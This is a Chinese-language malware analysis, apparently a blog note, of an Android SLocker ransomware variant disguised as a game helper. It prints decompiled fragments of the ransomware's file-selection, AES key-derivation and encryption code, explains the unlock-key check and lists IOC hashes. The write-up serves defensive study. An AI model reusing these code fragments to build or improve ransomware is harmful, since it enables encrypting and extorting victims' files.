样本下载:
http://appscan.io/app-report.html?id=d72ca5ca1e7dc6431c041bfc6d7e3f9bfa39959c
分析:
http://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/
下载之后校验一下hash,查看一下文件类型
然后如果直接把它当成zip文件解压,会有一些加固的东西,可以用jadx-gui打开这个apk格式的文件。
伪装成 “王者荣耀辅助”的名字和图标,模仿WannaCry的界面
他在AndroidManifest.xml
文件中声明了两个带有启动入口属性的Activity
com.android.tencent.zdevs.bah.MainActivity
和com.android.tencent.zdevs.bah.QQ1279525738
。
其中com.android.tencent.zdevs.bah.MainActivity
默认是enabled,而com.android.tencent.zdevs.bah.QQ1279525738
初始为禁用(android:enabled="false"
)状态。
它有这样的属性
android:name="com.android.tencent.zdevs.bah.QQ1279525738"
android:enabled="false"
android:targetActivity="com.android.tencent.zdevs.bah.MainActivity"
当满足某个条件时,它会禁用掉MainActivity
,而开启QQ1279525738
。同时更换Lancher上的图标。
这些操作都是在MainActivity
的入口onCreate()
中进行的。这个方法的最后一步(当该做的事都做完了之后)完成的
加密文件的步骤
ransomware 安装之后,它会检查它之前有没有被安装果。如果没有,它就会生成一个随机数,然后把它存储在SharedPreferences
(一个.xml文件)中,这个文件可以用来存储app的持久型数据。然后它就会找到设备的外部存储设备,然后开一个新线程。
新线程会查找外部存储器,然后查看满足某种条件的文件:
1. 文件完整路径的小写不能包含“/.”, “android”, “com.” and “miad”
2. 以external storage为root路径,查找其三层目录,从中找出包含“baidunetdisk”, “download” 或者“dcim”的目录。
3. 文件名必须包含“.”(即文件名必须有后缀) ,而且加密后的文件名的大小必须小于251个字节。
4. 文件本身大小必须在10 KB和50MB之间
可以看出ransomware 不加密系统文件,而主要着眼于默认下载目录的文件和图片,而且只会加密有后缀名的文件(文本,图片,视频)。
当找到满足这些条件的 文件的时候,这个线程就会使用ExecutorService
(Java中用来执行异步task的API)来执行一个新的task。
部分逻辑:
ExecutorService executorService;
if (i2 == 0) {
try {
if (file3.isFile() && r10.equals(MainActivity.hz) && file3.toString().indexOf("/.") == -1 && file3.getName().indexOf(".") != -1) {
executorService = executorService;
AnonymousClass100000001 anonymousClass100000001 = r20;
AnonymousClass100000001 anonymousClass1000000012 = new AnonymousClass100000001(file3, str2, i2, context2);
executorService.execute(anonymousClass100000001);
} else if (file3.isDirectory() && file3.toString().indexOf("/.") == -1 && file3.toString().toLowerCase().indexOf("android") == -1 && file3.toString().toLowerCase().indexOf("com.") == -1 && file3.toString().toLowerCase().indexOf("miad") == -1 && !(jd(file3.toString()) >= 3 && file3.toString().toLowerCase().indexOf("baidunetdisk") == -1 && file3.toString().toLowerCase().indexOf("download") == -1 && file3.toString().toLowerCase().indexOf("dcim") == -1)) {
deleteDirWihtFile(file3, str2, i2, context2);
}
} catch (Exception e) {
Exception exception = e;
}
} else {
if (file3.isFile() && !r10.equals(MainActivity.hz) && file3.toString().indexOf("/.") == -1 && file3.getName().indexOf(".") != -1 && file3.length() > ((long) 10240) && file3.length() <= ((long) 52428800)) {
StringBuffer stringBuffer = r20;
StringBuffer stringBuffer2 = new StringBuffer();
if (zjs(stringBuffer.append(file3.getName()).append(MainActivity.hz).toString()) <= 251) {
bb = 1 + bb;
executorService = executorService;
AnonymousClass100000002 anonymousClass100000002 = r20;
AnonymousClass100000002 anonymousClass1000000022 = new AnonymousClass100000002(file3, str2, i2, context2);
executorService.execute(anonymousClass100000002);
}
}
if (file3.isDirectory() && file3.toString().indexOf("/.") == -1 && file3.toString().toLowerCase().indexOf("android") == -1 && file3.toString().toLowerCase().indexOf("com.") == -1 && file3.toString().toLowerCase().indexOf("miad") == -1 && !(jd(file3.toString()) >= 3 && file3.toString().toLowerCase().indexOf("baidunetdisk") == -1 && file3.toString().toLowerCase().indexOf("download") == -1 && file3.toString().toLowerCase().indexOf("dcim") == -1)) {
deleteDirWihtFile(file3, str2, i2, context2);
}
}
新的task会调用一个叫做getsss()
的方法生成一个基于之前产生的随机数的cipher(秘钥)。这个方法计算这个随机数的md5值,然后然后从这个md5值的16进制表示中选择16个字符串。字符串生成后,ransomware 会将它传到SecretKeySpec
用来构造最终用来对文件进行加密的AES key。
public static final String getsss(String str) {
char[] cArr = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'};
try {
byte[] bytes = str.getBytes();
MessageDigest instance = MessageDigest.getInstance("MD5");
instance.update(bytes);
char[] cArr2 = new char[(r6 * 2)];
int i = 0;
for (byte b : instance.digest()) {
int i2 = i;
i++;
cArr2[i2] = cArr[(b >>> 4) & 15];
i2 = i;
i++;
cArr2[i2] = cArr[b & 15];
}
String str2 = r17;
String str3 = new String(cArr2);
return str2.toString().substring(8, 24);
} catch (Exception e) {
e.printStackTrace();
return (String) null;
}
}
可能不同样本的 这个方法的内容不同?
那就再看看另一款相关的应用吧
王者荣耀前瞻版
http://appscan.io/app-report.html?id=ca2e7c66b9eedf95f51204cea8cd2e13ba2a5d93
除了大小有些不同之外(可能是新加了一些逻辑?)
注意这些r
目录中的.acc
文件不知道是干嘛的
用jadx-gui打开之后基本上还是同样的味道。
参考
http://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/
的分析中的图片
然而上面这个解密后的几行代码无法通过jadx-gui解密出来,
jadx出现了很多错误,
之后我人工判断,参考别人分析出来的代码,分析出大概这样的逻辑,
public static java.io.File encryptFile(String str1, String pFileName, String str3) {
v6 = new FileInputStream(pFileName);
v7 = new FileOutputStream();
v15 = new javax.crypto.CipherInputStream(v6, sss.initAESCipher(str1, 1));
能找到这个CipherInputStream
,但是并不能解密。
/* JADX WARNING: inconsistent code. */
/* Code decompiled incorrectly, please refer to instructions dump. */
public static java.io.File encryptFile(java.lang.String r25, java.lang.String r26, java.lang.String r27) {
/* JADX: method processing error */
/*
Error: java.lang.NullPointerException
at jadx.core.dex.visitors.regions.ProcessVariables.addToUsageMap(ProcessVariables.java:284)
at jadx.core.dex.visitors.regions.ProcessVariables.access$000(ProcessVariables.java:36)
at jadx.core.dex.visitors.regions.ProcessVariables$CollectUsageRegionVisitor.processInsn(ProcessVariables.java:169)
at jadx.core.dex.visitors.regions.ProcessVariables$CollectUsageRegionVisitor.processBlockTraced(ProcessVariables.java:135)
at jadx.core.dex.visitors.regions.TracedRegionVisitor.processBlock(TracedRegionVisitor.java:23)
at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverseInternal(DepthRegionTraversal.java:53)
at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverseInternal(DepthRegionTraversal.java:58)
at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverseInternal(DepthRegionTraversal.java:58)
at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverseInternal(DepthRegionTraversal.java:58)
at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverse(DepthRegionTraversal.java:18)
at jadx.core.dex.visitors.regions.ProcessVariables.visit(ProcessVariables.java:187)
at jadx.core.dex.visitors.DepthTraversal.visit(DepthTraversal.java:31)
at jadx.core.dex.visitors.DepthTraversal.visit(DepthTraversal.java:17)
at jadx.core.ProcessClass.process(ProcessClass.java:37)
at jadx.core.ProcessClass.processDependencies(ProcessClass.java:59)
at jadx.core.ProcessClass.process(ProcessClass.java:42)
at jadx.api.JadxDecompiler.processClass(JadxDecompiler.java:306)
at jadx.api.JavaClass.decompile(JavaClass.java:62)
*/
/*
r2 = r25;
r3 = r26;
r4 = r27;
r20 = 0;
r20 = (java.io.FileInputStream) r20;
r6 = r20;
r20 = 0;
r20 = (java.io.FileOutputStream) r20;
r7 = r20;
r20 = 0;
r20 = (java.io.File) r20;
r8 = r20;
r20 = 0;
r20 = (java.io.File) r20;
r9 = r20;
r20 = new java.io.File; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r24 = r20; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = r24; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r21 = r24; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r22 = r3; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r21.<init>(r22); Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r9 = r20; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = new java.io.File; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r24 = r20; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = r24; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r21 = r24; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r22 = r4; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r21.<init>(r22); Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r8 = r20; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = r9; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = r20.exists(); Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
if (r20 == 0) goto L_0x00cc; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
L_0x0044:
r20 = r9; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = r20.isFile(); Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
if (r20 == 0) goto L_0x00cc; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
L_0x004c:
r20 = r8; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = r20.getParentFile(); Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = r20.exists(); Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
if (r20 != 0) goto L_0x0062; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
L_0x0058:
r20 = r8; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = r20.getParentFile(); Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = r20.mkdirs(); Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
L_0x0062:
r20 = r8; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = r20.createNewFile(); Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = new java.io.FileInputStream; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r24 = r20; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = r24; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r21 = r24; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r22 = r9; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r21.<init>(r22); Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r6 = r20; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = new java.io.FileOutputStream; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r24 = r20; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = r24; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r21 = r24; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r22 = r8; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r21.<init>(r22); Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r7 = r20; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = r2; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r21 = 1; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = initAESCipher(r20, r21); Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r14 = r20; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = new javax.crypto.CipherInputStream; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r24 = r20; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = r24; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r21 = r24; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r22 = r6; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r23 = r14; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r21.<init>(r22, r23); Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r15 = r20; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = 1024; // 0x400 float:1.435E-42 double:5.06E-321; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r0 = r20; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r0 = new byte[r0]; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = r0; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r16 = r20; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = 0; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r17 = r20; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
L_0x00af:
r20 = r15; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r21 = r16; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = r20.read(r21); Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r24 = r20; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = r24; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r21 = r24; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r17 = r21; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r21 = -1; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r0 = r20; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r1 = r21; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
if (r0 != r1) goto L_0x00db; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
L_0x00c7:
r20 = r15; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20.close(); Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
L_0x00cc:
r20 = r7;
r20.close(); Catch:{ IOException -> 0x0120 }
L_0x00d1:
r20 = r6;
r20.close(); Catch:{ IOException -> 0x0129 }
L_0x00d6:
r20 = r8;
r2 = r20;
return r2;
L_0x00db:
r20 = r7;
r21 = r16;
r22 = 0;
r23 = r17;
r20.write(r21, r22, r23); Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20 = r7; Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
r20.flush(); Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
goto L_0x00af;
L_0x00ec:
r20 = move-exception;
r14 = r20;
r20 = r14;
r20.printStackTrace(); Catch:{ all -> 0x00fe }
goto L_0x00cc; Catch:{ all -> 0x00fe }
L_0x00f5:
r20 = move-exception; Catch:{ all -> 0x00fe }
r14 = r20; Catch:{ all -> 0x00fe }
r20 = r14; Catch:{ all -> 0x00fe }
r20.printStackTrace(); Catch:{ all -> 0x00fe }
goto L_0x00cc;
L_0x00fe:
r20 = move-exception;
r10 = r20;
r20 = r7;
r20.close(); Catch:{ IOException -> 0x010e }
L_0x0106:
r20 = r6;
r20.close(); Catch:{ IOException -> 0x0117 }
L_0x010b:
r20 = r10;
throw r20;
L_0x010e:
r20 = move-exception;
r18 = r20;
r20 = r18;
r20.printStackTrace();
goto L_0x0106;
L_0x0117:
r20 = move-exception;
r18 = r20;
r20 = r18;
r20.printStackTrace();
goto L_0x010b;
L_0x0120:
r20 = move-exception;
r18 = r20;
r20 = r18;
r20.printStackTrace();
goto L_0x00d1;
L_0x0129:
r20 = move-exception;
r18 = r20;
r20 = r18;
r20.printStackTrace();
goto L_0x00d6;
*/
throw new UnsupportedOperationException("Method not decompiled: com.android.tencent.zdevs.bah.sss.encryptFile(java.lang.String, java.lang.String, java.lang.String):java.io.File");
}
然而其中的关键的加解密文件的逻辑已被混淆
加密函数:
解密函数:
其中initAESCipher()
函数:
private static Cipher initAESCipher(String str, int i) {
String str2 = str;
int i2 = i;
Cipher cipher = (Cipher) null;
try {
IvParameterSpec ivParameterSpec = r11;
IvParameterSpec ivParameterSpec2 = new IvParameterSpec("QQqun 571012706 ".getBytes());
IvParameterSpec ivParameterSpec3 = ivParameterSpec;
SecretKeySpec secretKeySpec = r11;
SecretKeySpec secretKeySpec2 = new SecretKeySpec(str2.getBytes(), "AES");
SecretKeySpec secretKeySpec3 = secretKeySpec;
cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(i2, secretKeySpec3, ivParameterSpec3);
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
} catch (NoSuchPaddingException e2) {
e2.printStackTrace();
} catch (InvalidKeyException e3) {
e3.printStackTrace();
} catch (InvalidAlgorithmParameterException e4) {
e4.printStackTrace();
}
return cipher;
}
对满足条件的文件加密完成后,会在该文件名后面加后缀。后缀包括一个QQ号和一个用于生成cipher的随机数。
ransomware提供了三个支付ransom的方法,但是经过测试发现这三种方法都指向同一个二维码
扫描这个二维码即可通过QQ来付款。如果三天之内不付款,ransom就会增加,并且威胁后在一周后删除所有加密的文件。
ransomware说如果收到ransom,则会下发一个解密的key。然而我们通过分析发现,当受害者点击Decrypt
按钮时,ransomware会将输入的值与MainActivity.m
的值进行比较。而通过track MainActivity.m
,我们发现这个值其实就是之前提到的那个随机数 + 520
。
下面是分析文章中提到的变种,逻辑发生了变化(不是简单的加520了)。
有些变种还加了壳
Indicators of Compromise (IOCS)
200d8f98c326fc65f3a11dc5ff1951051c12991cc0996273eeb9b71b27bc294d com.android.tencent.zdevs.bah 王者荣耀辅助
2ffd539d462847bebcdff658a83f74ca7f039946bbc6c6247be2fc62dc0e4060 com.android.tencent.zdevs.bah 千变语音
36f40d5a11d886a2280c57859cd5f22de2d78c87dcdb52ea601089745eeee494 com.android.tencent.zdevs.bah 王者荣耀前瞻版
c347e09b1489c5b8061828526f4ce778fda8ef7fb835255914eb3c9268a265bf com.android.tencent.zdevs.bah 千变语音秀
cb0a18bcc8a2c9a966d3f585771db8b2e627a7b4427a889191a93b3a1b261ba3 com.android.tencent.zdevs.bah 主流影视大全
参考这个系列的:
http://appscan.io/monitor.html?id=593f737b02723840264c3c5a
这几个系列的文件大小差不多